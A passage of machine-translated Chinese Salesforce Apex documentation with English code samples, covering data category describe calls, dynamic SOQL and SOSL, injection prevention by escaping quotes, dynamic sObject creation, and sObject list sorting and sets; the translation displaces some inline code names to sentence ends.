            singleResult.getName();

            //Getting the name of label
            singleResult.getLabel();

            //Getting description
            singleResult.getDescription();

            //Getting the sobject
            singleResult.getSobject();
         }         
      } catch(Exception e){
      }
      
      return describeCategoryResult;
   }
}
public class DescribeDataCategoryGroupStructures {
   public static List<DescribeDataCategoryGroupStructureResult> 
   getDescribeDataCategoryGroupStructureResults(){
      List<DescribeDataCategoryGroupResult> describeCategoryResult;
      List<DescribeDataCategoryGroupStructureResult> describeCategoryStructureResult;
      try {
         //Making the call to the describeDataCategoryGroups to
         //get the list of category groups associated
         List<String> objType = new List<String>();
         objType.add('KnowledgeArticleVersion');
         objType.add('Question');
         describeCategoryResult = Schema.describeDataCategoryGroups(objType);
         
         //Creating a list of pair objects to use as a parameter
         //for the describe call
         List<DataCategoryGroupSobjectTypePair> pairs = 
            new List<DataCategoryGroupSobjectTypePair>();
         
         //Looping throught the first describe result to create
         //the list of pairs for the second describe call
         for(DescribeDataCategoryGroupResult singleResult : 
         describeCategoryResult){
            DataCategoryGroupSobjectTypePair p =
               new DataCategoryGroupSobjectTypePair();
            p.setSobject(singleResult.getSobject());
            p.setDataCategoryGroupName(singleResult.getName());
            pairs.add(p);
         }
         
         //describeDataCategoryGroupStructures()
         describeCategoryStructureResult = 
            Schema.describeDataCategoryGroupStructures(pairs, false);

         //Getting data from the result
         for(DescribeDataCategoryGroupStructureResult singleResult : describeCategoryStructureResult){
            //Get name of the associated Sobject
            singleResult.getSobject();

            //Get the name of the data category group
            singleResult.getName();

            //Get the name of the data category group
            singleResult.getLabel();

            //Get the description of the data category group
            singleResult.getDescription();

            //Get the top level categories
            DataCategory [] toplevelCategories = 
               singleResult.getTopCategories();
            
            //Recursively get all the categories
            List<DataCategory> allCategories = 
               getAllCategories(toplevelCategories);

            for(DataCategory category : allCategories) {
               //Get the name of the category
               category.getName();

               //Get the label of the category
               category.getLabel();

               //Get the list of sub categories in the category
               DataCategory [] childCategories = 
                  category.getChildCategories();
            }
         }
      } catch (Exception e){
      }
      return describeCategoryStructureResult;
    }
    
   private static DataCategory[] getAllCategories(DataCategory [] categories){
      if(categories.isEmpty()){
         return new DataCategory[]{};
      } else {
         DataCategory [] categoriesClone = categories.clone();
         DataCategory category = categoriesClone[0];
         DataCategory[] allCategories = new DataCategory[]{category};
         categoriesClone.remove(0);
         categoriesClone.addAll(category.getChildCategories());
         allCategories.addAll(getAllCategories(categoriesClone));
         return allCategories;
      }
   }
}

测试访问权限 到与 sObject 关联的所有数据类别

下面的示例测试前面所示的方法。它确保返回的类别组 和关联的对象是正确的。describeDataCategoryGroupSample

@isTest
private class DescribeDataCategoryGroupSampleTest {
   public static testMethod void describeDataCategoryGroupSampleTest(){
      List<DescribeDataCategoryGroupResult>describeResult =
                 DescribeDataCategoryGroupSample.describeDataCategoryGroupSample();
      
      //Assuming that you have KnowledgeArticleVersion and Questions
      //associated with only one category group 'Regions'.
      System.assert(describeResult.size() == 2,
           'The results should only contain two results: ' + describeResult.size());
      
      for(DescribeDataCategoryGroupResult result : describeResult) {
         //Storing the results
         String name = result.getName();
         String label = result.getLabel();
         String description = result.getDescription();
         String objectNames = result.getSobject();
         
         //asserting the values to make sure
         System.assert(name == 'Regions',
         'Incorrect name was returned: ' + name);
         System.assert(label == 'Regions of the World',
         'Incorrect label was returned: ' + label);
         System.assert(description == 'This is the category group for all the regions',
         'Incorrect description was returned: ' + description);
         System.assert(objectNames.contains('KnowledgeArticleVersion') 
                       || objectNames.contains('Question'),
                       'Incorrect sObject was returned: ' + objectNames);
      }
   }
}

此示例测试该方法。它确保 返回的类别组、类别和关联的对象是 正确。describeDataCategoryGroupStructures

@isTest
private class DescribeDataCategoryGroupStructuresTest {
   public static testMethod void getDescribeDataCategoryGroupStructureResultsTest(){
      List<Schema.DescribeDataCategoryGroupStructureResult> describeResult =
         DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults();
      
      System.assert(describeResult.size() == 2,
            'The results should only contain 2 results: ' + describeResult.size());
            
      //Creating category info
      CategoryInfo world = new CategoryInfo('World', 'World');
      CategoryInfo asia = new CategoryInfo('Asia', 'Asia');
      CategoryInfo northAmerica = new CategoryInfo('NorthAmerica',
                                                  'North America');
      CategoryInfo southAmerica = new CategoryInfo('SouthAmerica',
                                                  'South America');
      CategoryInfo europe = new CategoryInfo('Europe', 'Europe');
      
      List<CategoryInfo> info = new CategoryInfo[] {
        asia, northAmerica, southAmerica, europe
     };
      
      for (Schema.DescribeDataCategoryGroupStructureResult result : describeResult) {
         String name = result.getName();
         String label = result.getLabel();
         String description = result.getDescription();
         String objectNames = result.getSobject();
         
         //asserting the values to make sure
         System.assert(name == 'Regions', 
         'Incorrect name was returned: ' + name);
         System.assert(label == 'Regions of the World',
         'Incorrect label was returned: ' + label);
         System.assert(description == 'This is the category group for all the regions',
         'Incorrect description was returned: ' + description);
         System.assert(objectNames.contains('KnowledgeArticleVersion') 
                    || objectNames.contains('Question'),
                       'Incorrect sObject was returned: ' + objectNames);
         
         DataCategory [] topLevelCategories = result.getTopCategories();
         System.assert(topLevelCategories.size() == 1,
         'Incorrect number of top level categories returned: ' + topLevelCategories.size());
         System.assert(topLevelCategories[0].getLabel() == world.getLabel() &&
                       topLevelCategories[0].getName() == world.getName());
         
         //checking if the correct children are returned
         DataCategory [] children = topLevelCategories[0].getChildCategories();
         System.assert(children.size() == 4,
         'Incorrect number of children returned: ' + children.size());
         for(Integer i=0; i < children.size(); i++){
            System.assert(children[i].getLabel() == info[i].getLabel() &&
                          children[i].getName() == info[i].getName());
         }
      }
      
   }
   
   private class CategoryInfo {      
      private final String name;
      private final String label;
            
      private CategoryInfo(String n, String l){
         this.name = n;
         this.label = l;
      }
      
      public String getName(){
         return this.name;
      }
      
      public String getLabel(){
         return this.label;
      }
   }
}

动态 SOQL

动态 SOQL 是指在运行时使用 Apex 创建 SOQL 字符串 法典。动态 SOQL 使您能够创建更灵活的应用程序。例如,您 可以根据最终用户的输入创建搜索,或使用不同的字段更新记录 名字。

若要在运行时创建动态 SOQL 查询,请通过以下方法之一使用 or 方法。Database.queryDatabase.queryWithBinds

  • 当查询返回单个 sObject 时,返回单个 sObject 记录:sObject s = Database.query(string);
  • 当查询返回多个 sObject 时,返回 sObject 的列表 记录:List<sObject> sobjList = Database.query(string);
  • 使用 bind 的映射返回 sObject 列表 变量:List<sObject> sobjList = Database.queryWithBinds(string, bindVariablesMap, accessLevel);

可以使用 和 方法 任何可以使用内联 SOQL 查询的地方,例如在常规赋值语句和循环中。结果在 与静态 SOQL 查询的处理方式大致相同。Database.queryDatabase.queryWithBindsfor

使用 API 版本 55.0 及更高版本,作为数据库操作用户模式的一部分 功能,请使用该参数在 用户或系统模式。该参数指定 方法在系统模式下运行 () 或用户模式 ()。在系统模式下, 忽略当前用户的对象级和字段级权限,记录 共享规则由类共享关键字控制。在用户模式下, 当前用户的对象权限、字段级安全性和共享规则是 执行。系统模式是默认模式。accessLevelaccessLevelAccessLevel.SYSTEM_MODEAccessLevel.USER_MODE

动态 SOQL 结果可以指定为具体的 sObject,例如 Account 或 MyCustomObject__c,或作为泛型 sObject 数据类型。在运行时,系统 验证查询的类型是否与变量的声明类型匹配。如果 query 未返回正确的 sObject 类型,则会引发运行时错误。因此 您不必从泛型 sObject 转换为具体的 sObject。

动态 SOQL 查询具有与静态查询相同的调控器限制。查看更多 有关调控器限制的信息,请参阅执行 调速器和限制。

有关 SOQL 查询语法的完整说明,请参阅 Salesforce 对象查询语言 (索克尔)在 SOQL 和 SOSL 参考中。

动态 SOQL 注意事项

使用 时,可以在动态 SOQL 查询字符串中使用简单的绑定变量。以下是 允许:

Database.query

String myTestString = 'TestName';
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE Name = :myTestString');

然而 与内联 SOQL 不同,不能在查询字符串中使用绑定变量字段。以下示例 不受支持,并导致错误。

Database.queryVariable does not exist

MyCustomObject__c myVariable = new MyCustomObject__c(field1__c ='TestField');
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c = :myVariable.field1__c');

你 可以改为将变量字段解析为字符串,并在 动态 SOQL 查询:

String resolvedField1 = myVariable.field1__c;
List<sObject> sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c =  :resolvedField1');

(API 版本 57.0 及更高版本)另一种选择是使用该方法。使用此方法,将变量绑定到 查询是直接使用键从 Map 参数解析的,而不是从 Apex 代码变量。这样就无需在 查询。此示例显示了一个 SOQL 查询,该查询将绑定变量用于 帐户名称;其值随 Map 一起传入。Database.queryWithBindsacctBinds

Map<String, Object> acctBinds = new Map<String, Object>{'acctName' => 'Acme Corporation'};

List<Account> accts = 
    Database.queryWithBinds('SELECT Id FROM Account WHERE Name = :acctName',
                            acctBinds, 
                            AccessLevel.USER_MODE);

SOQL注射液

SOQL注射是一种技术,用户通过该技术 通过传递 SOQL 语句添加到代码中。这可能发生在 Apex 代码中,只要你的 应用程序依赖于最终用户的输入来构造动态 SOQL 语句,而 没有正确处理输入。

为防止SOQL注射,请使用该方法。此方法将 转义字符 (\) 到传入的字符串中的所有单引号 来自用户。该方法确保将所有单引号视为 将字符串括起来,而不是数据库命令。escapeSingleQuotes

其他动态 SOQL 方法

本主题中的动态 SOQL 示例演示如何使用 和 方法。这些方法还使用动态 SOQL:Database.queryDatabase.queryWithBinds

  • Database.countQuery和 :返回数字 动态 SOQL 查询在执行时将返回的记录。Database.countQueryWithBinds
  • Database.getQueryLocator和 :创建批处理中使用的对象 Apex 或 视觉力。Database.getQueryLocatorWithBindsQueryLocator

动态 SOSL

动态 SOSL 是指在运行时使用 Apex 创建 SOSL 字符串 法典。动态 SOSL 使您能够创建更灵活的应用程序。例如,您 可以根据最终用户的输入创建搜索,或使用不同的 字段名称。

若要在运行时创建动态 SOSL 查询,请使用 search 方法。例如:query

List<List <sObject>> myQuery = search.query(SOSL_search_string);

下面的示例练习一个简单的 SOSL 查询字符串。

String searchquery='FIND\'Edge*\'IN ALL FIELDS RETURNING Account(id,name),Contact, Lead'; 
List<List<SObject>>searchList=search.query(searchquery);

动态 SOSL 语句的计算结果为 sObject 列表,其中每个列表包含 特定 sObject 类型的搜索结果。始终返回结果列表 其顺序与在动态 SOSL 查询中指定的顺序相同。从示例 上面,客户的结果首先是“联系人”,然后是“潜在客户”。

搜索方法可以在以下任何位置使用。 可以使用内联 SOSL 查询,例如在常规赋值语句和循环中。结果在很多 与静态 SOSL 查询的处理方式相同。queryfor

动态 SOSL 查询与静态查询具有相同的调控器限制。查看更多 有关调控器限制的信息,请参阅执行 调速器和限制。

有关 SOSL 查询语法的完整说明,请参阅 Salesforce 对象搜索语言 (SOSL)在 SOQL 和 SOSL 参考中。

使用动态 SOSL 返回代码段

若要为搜索结果中的记录提供更多上下文,请使用 SOSL 子句。片段使 确定您要查找的内容。有关代码段如何的信息 生成,请参阅 SOQL 和 SOSL 参考中的 WITH SNIPPET。WITH SNIPPET要在 动态 SOSL 查询,请使用该方法。

WITH SNIPPETSearch.find

Search.SearchResults searchResults = Search.find(SOSL_search_string);

此示例执行包含子句的简单 SOSL 查询字符串。该示例调用打印返回的标题和 片段。您的代码将在网页中显示标题和代码段。WITH SNIPPETSystem.debug()

Search.SearchResults searchResults = Search.find('FIND \'test\' IN ALL FIELDS RETURNING 
KnowledgeArticleVersion(id, title WHERE PublishStatus = \'Online\' AND Language = \'en_US\') WITH SNIPPET (target_length=120)');
 
List<Search.SearchResult> articlelist = searchResults.get('KnowledgeArticleVersion');

for (Search.SearchResult searchResult : articleList) { 
	KnowledgeArticleVersion article = (KnowledgeArticleVersion) searchResult.getSObject(); 
	System.debug(article.Title); 
	System.debug(searchResult.getSnippet()); 
}

SOSL注入

SOSL注入是一种技术,用户通过该技术 使应用程序执行您不希望通过传递的数据库方法 SOSL 语句添加到代码中。每当 应用程序依赖于最终用户输入来构造动态 SOSL 语句和 您没有正确处理输入。

为防止SOSL注入,请使用该方法。此方法 将转义字符 (\) 添加到字符串中的所有单引号中,即 从用户传入。该方法确保所有单引号都 被视为封闭字符串,而不是数据库命令。escapeSingleQuotes

动态 DML

除了查询、描述信息和构建 SOQL 在运行时查询,还可以动态创建 sObjects,以及 使用 DML 将它们插入到数据库中。

若要创建给定类型的新 sObject,请在 sObject 令牌上使用该方法。 请注意,令牌必须转换为具体的 sObject 类型(例如 作为帐户)。例如:newSObject

// Get a new account
Account a = new Account();
// Get the token for the account
Schema.sObjectType tokenA = a.getSObjectType();
// The following produces an error because the token is a generic sObject, not an Account
// Account b = tokenA.newSObject();
// The following works because the token is cast back into an Account
Account b = (Account)tokenA.newSObject();

虽然 sObject 令牌是 Account 的令牌, 它被视为 sObject,因为它是单独访问的。它必须被重新转换回 具体 sObject 类型 Account 来使用该方法。 有关强制转换的更多信息,请参见类和强制转换tokenAnewSObject

您还可以指定一个 ID,以创建引用现有 记录,以便以后更新。例如:newSObject

SObject s = Database.query('SELECT Id FROM account LIMIT 1')[0].getSObjectType().
                                       newSObject([SELECT Id FROM Account LIMIT 1][0].Id);

请参见SObjectType 类。

动态 sObject 创建示例

此示例演示如何通过 方法,然后使用令牌上的方法创建新的 sObject。Schema.getGlobalDescribenewSObject此示例还包含一个测试方法,该方法 验证帐户的动态创建。

public class DynamicSObjectCreation {
    public static sObject createObject(String typeName) {
        Schema.SObjectType targetType = Schema.getGlobalDescribe().get(typeName);
        if (targetType == null) {
            // throw an exception
        }
        
        // Instantiate an sObject with the type passed in as an argument
        //  at run time.
        return targetType.newSObject(); 
    }
}
@isTest
private class DynamicSObjectCreationTest {
    static testmethod void testObjectCreation() {
        String typeName = 'Account';
        String acctName = 'Acme';
        
        // Create a new sObject by passing the sObject type as an argument.
        Account a = (Account)DynamicSObjectCreation.createObject(typeName);        
        System.assertEquals(typeName, String.valueOf(a.getSobjectType()));
        // Set the account name and insert the account.
        a.Name = acctName;
        insert a;

        // Verify the new sObject got inserted.
        Account[] b = [SELECT Name from Account WHERE Name = :acctName];
        system.assert(b.size() > 0);
    }
}

设置和检索 字段值

在对象上使用 and 方法,以使用 API 名称 表示为 String 的字段,或字段的标记。在以下示例中,API 名称 字段用于:getputAccountNumber

SObject s = [SELECT AccountNumber FROM Account LIMIT 1];
Object o = s.get('AccountNumber');
s.put('AccountNumber', 'abc');

以下示例改用字段的令牌:AccountNumber

Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.AccountNumber;
Sobject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1');
s.put(dfr.getsObjectField(), '12345');

Object 标量数据类型可用作泛型 数据类型,用于设置或检索 sObject 上的字段值。这是等效的 更改为 anyType 字段类型。 请注意,Object 数据类型与 sObject 数据不同 type,可用作任何 sObject 的泛型类型。

注意

使用 API 版本 15.0 保存(编译)的 Apex 类和触发器 如果为字段分配的 String 值太长,则更高会产生运行时错误。

设置和检索 外键

Apex 支持按名称(或外部 ID)填充外键,其方式与 API 相同。要设置 或检索外键的标量 ID 值,使用 or 方法。getput

若要设置或检索与外键关联的记录,请使用 和 方法。请注意,这些方法必须与 sObject 数据一起使用 类型,而不是 Object。例如:getSObjectputSObject

SObject c = 
   Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1');
SObject a = c.getSObject('Account');

使用子项时,无需为父级 sObject 值指定外部 ID s对象。如果在父 sObject 中提供 ID,则 DML 操作将忽略该 ID。顶点 假设外键是通过关系 SOQL 查询填充的,该查询始终返回 具有填充 ID 的父对象。如果您有 ID,请将其与子对象一起使用。

例如,假设自定义对象 C1 具有链接到父自定义对象 C2 的外键。您想要创建一个 C1 对象,并将其与名为“AW Computing”的 C2 记录相关联(分配给 值)。您不需要 “AW Computing”记录,因为它是通过父级与 孩子。例如:C2__cC2__r

insert new C1__c(Name = 'x', C2__r = new C2__c(Name = 'AW Computing'));

如果已为 的 ID 赋值,则 将被忽略。如果确实有 ID,请将其分配给对象 (),而不是记录。C2__rC2__c您还可以使用动态 Apex 访问外键。以下示例演示如何获取 使用动态的父子关系中子查询的值 顶点:

String queryString = 'SELECT Id, Name, ' + 
           '(SELECT FirstName, LastName FROM Contacts LIMIT 1) FROM Account';
SObject[] queryParentObject = Database.query(queryString);
         
for (SObject parentRecord : queryParentObject){ 
    Object ParentFieldValue = parentRecord.get('Name'); 
    // Prevent a null relationship from being accessed
    SObject[] childRecordsFromParent = parentRecord.getSObjects('Contacts');
    if (childRecordsFromParent != null) {
        for (SObject childRecord : childRecordsFromParent){ 
            Object ChildFieldValue1 = childRecord.get('FirstName'); 
            Object ChildFieldValue2 = childRecord.get('LastName'); 
            System.debug('Account Name: ' + ParentFieldValue + 
            '. Contact Name: '+ ChildFieldValue1 + ' ' + ChildFieldValue2);
        }
    }              
}

sObject 集合

您可以在列表、集和映射中管理 sObject。

  • sObjects 列表 列表可以包含其他类型的元素中的 sObjects
    。sObject 列表可用于批量处理数据。
  • 对 sObject 列表进行排序 使用该方法,可以对 sObject
    列表进行排序。List.sort
  • 扩展 sObject 和列表表达式
  • 对象
    集 集可以包含 sObject 以及其他类型的元素。
  • sObject 映射映射键和值可以是任何数据类型,包括 sObject
    类型,例如 Account。

sObject 列表

列表可以包含其他类型的元素中的 sObjects。 sObject 列表可用于批量处理数据。

您可以使用列表来存储 sObjects。列表在工作时很有用 使用 SOQL 查询。SOQL 查询返回 sObject 数据和此数据 可以存储在 sObject 列表中。此外,您可以使用列表来执行 批量操作,例如通过一次调用插入 sObject 列表。

若要声明 sObject 列表,请使用关键字后跟 sObject 键入 <> 个字符以内。例如:List

// Create an empty list of Accounts
List<Account> myList = new List<Account>();

从 SOQL 查询自动填充列表

您可以将 List 变量直接分配给 SOQL 查询的结果。SOQL 查询返回一个 使用返回的记录填充的新列表。确保声明的 List 变量 包含正在查询的相同 sObject。或者,您可以使用通用的 sObject 数据 类型。

此示例演示如何声明和分配帐户列表 更改为 SOQL 查询的返回值。查询最多返回 1,000 个 返回包含 Id 和 Name 字段的帐户记录。

// Create a list of account records from a SOQL query
List<Account> accts = [SELECT Id, Name FROM Account LIMIT 1000];

添加和检索列表元素

与原始数据类型列表一样,您可以使用 Apex 提供的方法访问和设置 sObject 列表的元素。例如:List

List<Account> myList = new List<Account>(); // Define a new list
Account a = new Account(Name='Acme'); // Create the account first
myList.add(a);                    // Add the account sObject
Account a2 = myList.get(0);      // Retrieve the element at index 0

批量处理

您可以通过将列表传递给 DML 操作来批量处理 sObject 列表。这 示例演示如何插入 帐户。

// Define the list
List<Account> acctList = new List<Account>(); 
// Create account sObjects
Account a1 = new Account(Name='Account1'); 
Account a2 = new Account(Name='Account2'); 
// Add accounts to the list
acctList.add(a1);
acctList.add(a2);
// Bulk insert the list
insert acctList;

注意

如果批量插入知识文章版本,请将所有 记录相同。

记录 ID 生成

Apex 会自动为插入或更新插入的 sObject 列表中的每个对象生成 ID 使用 DML。因此,包含多个 sObject 实例的列表不能 即使它有 ID,也会插入或更新插入。这种情况意味着需要将两个 ID 写入相同的 ID 内存中的结构,这是非法的。null

例如,以下代码块中的语句生成 a 因为它 尝试插入一个列表,其中包含对同一 sObject () 的两个引用:insertListExceptiona

try {

   // Create a list with two references to the same sObject element
   Account a = new Account();
   List<Account> accs = new List<Account>{a, a};

   // Attempt to insert it...
   insert accs;

   // Will not get here
   System.assert(false);
} catch (ListException e) {
   // But will get here
}

对 s对象

或者,您可以使用数组表示法(正方形 括号)来声明和引用 sObject 的列表。此示例使用数组声明帐户列表 表示法。

Account[] accts = new Account[1];

以下示例使用方括号向列表中添加一个元素。

accts[0] = new Account(Name='Acme2');

这些示例还将数组表示法用于 sObject 列表。

描述
List<Account> accts = new Account[]{};定义不带元素的帐户列表。
List<Account> accts = new Account[] {new Account(), null, new Account()};定义一个 Account 列表,其中包含为三个 Account 分配的内存:一个新的 Account 对象 第一个位置,在第二个位置, 以及第三个中的另一个新 Account 对象。null
List<Contact> contacts = new List<Contact> (otherList);使用新列表定义联系人列表。

对 sObject 列表进行排序

使用该方法,您可以排序 sObject 的列表。

List.sort

对于 sObjects,排序按升序排列,并使用一系列比较步骤 在下一节中概述。您可以通过以下方式为 sObjects 创建自定义排序顺序 将 sObject 包装在实现接口的 Apex 类中。您还可以创建自定义 通过将作为参数实现的类传递给 sort 方法来排序顺序。请参阅 sObject 的自定义排序顺序。ComparableComparator

sObjects 的默认排序顺序

该方法对 sObjects 进行排序 升序并使用有序的步骤序列比较 sObjects 指定使用的标签或字段。比较从第一步开始 序列,并在使用指定的标签或字段对两个 sObject 进行排序时结束。这 以下是使用的比较顺序:

List.sort

  1. sObject 类型的标签。例如,将显示 Account sObject 在联系人之前。
  2. “名称”字段(如果适用)。例如,如果列表包含两个 名为 Alpha 和 Beta 的帐户,帐户 Alpha 在帐户之前 试用版。
  3. 标准字段,从按字母顺序排在第一位的字段开始 顺序,但 Id 和 Name 字段除外。例如,如果两个帐户 具有相同的名称,用于排序的第一个标准字段是 帐号。
  4. 自定义字段,从按字母顺序排在第一位的字段开始 次序。例如,假设两个帐户具有相同的名称和 相同的标准字段,并且有两个自定义字段,FieldA 和 FieldB,首先使用 FieldA 的值进行排序。

并非必须执行此序列中的所有步骤。例如,列表 包含两个相同类型且具有唯一 Name 值的 sObject 的排序依据 ,排序在步骤 2 处停止。否则,如果名称相同 或者 sObject 没有 Name 字段,则排序将转到步骤 3 进行排序 按标准字段。

对于文本字段,排序算法使用 Unicode 排序 次序。此外,在排序顺序中,空字段位于非空字段之前。

下面是对帐户 sObject 列表进行排序的示例。此示例演示 Name 字段用于将 Acme 帐户置于 列表。由于有两个名为 sForce 的帐户,因此 Industry 字段用于排序 这些剩余的帐户,因为 “行业 ”字段位于 按字母顺序排列。

Account[] acctList = new List<Account>();        
acctList.add( new Account(
    Name='sForce',
    Industry='Biotechnology',
    Site='Austin'));
acctList.add(new Account(
    Name='sForce',
    Industry='Agriculture',
    Site='New York'));
acctList.add(new Account(
    Name='Acme'));
System.debug(acctList);

acctList.sort();
Assert.areEqual('Acme', acctList[0].Name);
Assert.areEqual('sForce', acctList[1].Name);
Assert.areEqual('Agriculture', acctList[1].Industry);
Assert.areEqual('sForce', acctList[2].Name);
Assert.areEqual('Biotechnology', acctList[2].Industry);
System.debug(acctList);

此示例与上一个示例类似,只不过它使用了 Merchandise__c 自定义对象。此示例演示如何使用 Name 字段来放置笔记本 商品在列表中排在钢笔之前。因为商品有两个 sObject 对于“笔”的“名称”字段值,“说明”字段用于对它们进行排序 剩余商品。“说明”字段用于排序,因为它 按字母顺序位于 Price 和 Total_Inventory 字段之前。

Merchandise__c[] merchList = new List<Merchandise__c>();        
merchList.add( new Merchandise__c(
    Name='Pens',
    Description__c='Red pens',
    Price__c=2,
    Total_Inventory__c=1000));
merchList.add( new Merchandise__c(
    Name='Notebooks',
    Description__c='Cool notebooks',
    Price__c=3.50,
    Total_Inventory__c=2000));
merchList.add( new Merchandise__c(
    Name='Pens',
    Description__c='Blue pens',
    Price__c=1.75,
    Total_Inventory__c=800));
System.debug(merchList);

merchList.sort();
Assert.areEqual('Notebooks', merchList[0].Name);
Assert.areEqual('Pens', merchList[1].Name);
Assert.areEqual('Blue pens', merchList[1].Description__c);
Assert.areEqual('Pens', merchList[2].Name);
Assert.areEqual('Red pens', merchList[2].Description__c);
System.debug(merchList);

sObjects 的自定义排序顺序

若要为列表中的 sObject 创建自定义排序顺序,请实现接口并将其作为参数传递 到方法。ComparatorList.sort

或者,为 sObject 创建一个包装类并实现接口。包装类包含 所讨论的 sObject 并实现指定排序逻辑的方法。ComparableComparable.compareTo

此示例实现基于“金额”字段比较两个商机的接口。Comparator

public class OpportunityComparator implements Comparator<Opportunity> {
    public Integer compare(Opportunity o1, Opportunity o2) {
        // The return value of 0 indicates that both elements are equal.
        Integer returnValue = 0;
        
        if(o1 == null && o2 == null) {
            returnValue = 0;
        } else if(o1 == null) {
            // nulls-first implementation
            returnValue = -1; 
        } else if(o2 == null) {
            // nulls-first implementation
            returnValue = 1;
        } else if ((o1.Amount == null) && (o2.Amount == null)) {
            // both have null Amounts
            returnValue = 0;
        } else if (o1.Amount == null){
            // nulls-first implementation
            returnValue = -1;
        } else if (o2.Amount == null){
            // nulls-first implementation
            returnValue = 1;
        } else if (o1.Amount < o2.Amount) {
            // Set return value to a negative value.
            returnValue = -1;
        } else if (o1.Amount > o2.Amount) {
            // Set return value to a positive value.
            returnValue = 1;
        }
        return returnValue;
    }
}

此测试对对象列表进行排序 并验证列表元素是否按商机数量排序。Comparator

@isTest
private class OpportunityComparator_Test {
 
    @isTest
    static void sortViaComparator() {
        // Add the opportunity wrapper objects to a list.
        List<Opportunity> oppyList = new List<Opportunity>();
        Date closeDate = Date.today().addDays(10);
        oppyList.add( new Opportunity(
            Name='Edge Installation',
            CloseDate=closeDate,
            StageName='Prospecting',
            Amount=50000));
        oppyList.add( new Opportunity(
            Name='United Oil Installations',
            CloseDate=closeDate,
            StageName='Needs Analysis',
            Amount=100000));
        oppyList.add( new Opportunity(
            Name='Grand Hotels SLA',
            CloseDate=closeDate,
            StageName='Prospecting',
            Amount=25000));
        oppyList.add(null);
        
        // Sort the objects using the Comparator implementation
        oppyList.sort(new OpportunityComparator());
        // Verify the sort order
        Assert.isNull(oppyList[0]);
        Assert.areEqual('Grand Hotels SLA', oppyList[1].Name);
        Assert.areEqual(25000, oppyList[1].Amount);
        Assert.areEqual('Edge Installation', oppyList[2].Name);
        Assert.areEqual(50000, oppyList[2].Amount);
        Assert.areEqual('United Oil Installations', oppyList[3].Name);
        Assert.areEqual(100000, oppyList[3].Amount);
        // Write the sorted list contents to the debug log.
        System.debug(oppyList);
    }
}

此示例演示如何为 Opportunity 创建包装类。此类中该方法的实现比较了两个 基于“金额”字段的商机 – 包含的类成员变量 在本例中,将 Opportunity 对象传递到方法中。ComparablecompareTo

public class OpportunityWrapper implements Comparable {

    public Opportunity oppy;
    
    // Constructor
    public OpportunityWrapper(Opportunity op) {
    	// Guard against wrapping a null 
    	if(op == null) {
    		Exception ex = new NullPointerException();
    		ex.setMessage('Opportunity argument cannot be null'); 
    		throw ex;
    	}
        oppy = op;
    }
    
    // Compare opportunities based on the opportunity amount.
    public Integer compareTo(Object compareTo) {
        // Cast argument to OpportunityWrapper
        OpportunityWrapper compareToOppy = (OpportunityWrapper)compareTo;
        
        // The return value of 0 indicates that both elements are equal.
        Integer returnValue = 0;
        if ((oppy.Amount == null) && (compareToOppy.oppy.Amount == null)) {
            // both wrappers have null Amounts
            returnValue = 0;
        } else if ((oppy.Amount == null) && (compareToOppy.oppy.Amount != null)){
            // nulls-first implementation
            returnValue = -1;
        } else if ((oppy.Amount != null) && (compareToOppy.oppy.Amount == null)){
            // nulls-first implementation
            returnValue = 1;
        } else if (oppy.Amount > compareToOppy.oppy.Amount) {
            // Set return value to a positive value.
            returnValue = 1;
        } else if (oppy.Amount < compareToOppy.oppy.Amount) {
            // Set return value to a negative value.
            returnValue = -1;
        } 
        return returnValue;
    }
}

此测试对对象列表进行排序,并验证列表元素是否按商机排序 量。OpportunityWrapper

@isTest 
private class OpportunityWrapperTest {
    static testmethod void test1() {
        // Add the opportunity wrapper objects to a list.
        OpportunityWrapper[] oppyList = new List<OpportunityWrapper>();
        Date closeDate = Date.today().addDays(10);
        oppyList.add( new OpportunityWrapper(new Opportunity(
            Name='Edge Installation',
            CloseDate=closeDate,
            StageName='Prospecting',
            Amount=50000)));
        oppyList.add( new OpportunityWrapper(new Opportunity(
            Name='United Oil Installations',
            CloseDate=closeDate,
            StageName='Needs Analysis',
            Amount=100000)));
        oppyList.add( new OpportunityWrapper(new Opportunity(
            Name='Grand Hotels SLA',
            CloseDate=closeDate,
            StageName='Prospecting',
            Amount=25000)));
        
        // Sort the wrapper objects using the implementation of the 
        // compareTo method.
        oppyList.sort();
        
        // Verify the sort order
        Assert.areEqual('Grand Hotels SLA', oppyList[0].oppy.Name);
        Assert.areEqual(25000, oppyList[0].oppy.Amount);
        Assert.areEqual('Edge Installation', oppyList[1].oppy.Name);
        Assert.areEqual(50000, oppyList[1].oppy.Amount);
        Assert.areEqual('United Oil Installations', oppyList[2].oppy.Name);
        Assert.areEqual(100000, oppyList[2].oppy.Amount);
        
        // Write the sorted list contents to the debug log.
        System.debug(oppyList);
    }
}

扩展 sObject 和列表表达式

与 Java 一样,可以使用 method 扩展 sObject 和 list 表达式 引用和列表表达式,以形成新的表达式。在以下示例中,包含长度的新变量 的新帐户名称分配给 。

acctNameLength

Integer acctNameLength = new Account[]{new Account(Name='Acme')}[0].Name.length();

在上面,生成一个列表。new Account[]

该列表由语句填充一个元素。new{new Account(name=’Acme’)}

项目 0 是列表中的第一项,然后由下一个项目访问 字符串的一部分。[0]

访问列表中 sObject 的名称,后跟 返回长度的方法。name.length()在以下示例中,已移至 lower 的名称 大小写。SOQL 语句返回一个列表,其中第一个元素(索引为 0) 可通过 访问。 接下来,访问“名称”字段并将其转换为小写 表达。

[0].Name.toLowerCase()

String nameChange = [SELECT Name FROM Account][0].Name.toLowerCase();

对象集

集合可以包含 sObject 以及其他类型的元素。集合包含独特的元素。确定 sObject 的唯一性 通过比较对象的字段。例如,如果您尝试 将两个同名的帐户添加到一个集合中,没有其他字段 set,则该集合中仅添加一个 sObject。

// Create two accounts, a1 and a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount');

// Add both accounts to the new set 
Set<Account> accountSet = new Set<Account>{a1, a2};

// Verify that the set only contains one item
System.assertEquals(accountSet.size(), 1);

如果您向其中一个帐户添加描述,则会将其视为 唯一,并且两个帐户都会添加到集合中。

// Create two accounts, a1 and a2, and add a description to a2
Account a1 = new account(name='MyAccount');
Account a2 = new account(name='MyAccount', description='My test account');

// Add both accounts to the new set
